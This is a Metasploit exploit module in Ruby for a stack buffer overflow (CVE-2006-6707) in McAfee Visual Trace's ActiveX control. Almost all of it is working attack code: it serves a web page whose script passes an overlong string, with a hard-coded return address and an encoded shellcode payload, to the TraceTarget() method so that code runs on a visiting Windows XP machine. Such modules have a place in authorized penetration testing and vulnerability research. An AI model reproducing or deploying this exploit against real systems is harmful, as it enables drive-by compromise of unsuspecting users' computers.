McAfee Visual Trace – ActiveX Control Buffer Overflow (Metasploit)
## # $Id: mcafeevisualtrace_tracetarget.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'McAfee Visual Trace ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the McAfee Visual Trace 3.25 ActiveX Control (NeoTraceExplorer.dll 1.0.0.1). By sending a overly long string to the "TraceTarget()" method, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision: 10394 $', 'References' => [ [ 'CVE', '2006-6707'], [ 'OSVDB', '32399'], [ 'URL', 'http://secunia.com/advisories/23463' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP Pro SP2 English', { 'Offset' => 483, 'Ret' => 0x7c941eed } ], ], 'DisclosureDate' => 'Jul 7 2007', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize some things vname = rand_text_alpha(rand(100) + 1) strname = rand_text_alpha(rand(100) + 1) # Set the exploit buffer sploit = rand_text_alpha(target['Offset']) + [target.ret].pack('V') + p.encoded # Build out the message content = %Q|<html> <object classid='clsid:3E1DD897-F300-486C-BEAF-711183773554' id='#{vname}'></object> <script language='javascript'> var #{vname} = document.getElementById('#{vname}'); var #{strname} = new String('#{sploit}'); #{vname}.TraceTarget(#{strname}); </script> </html> | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |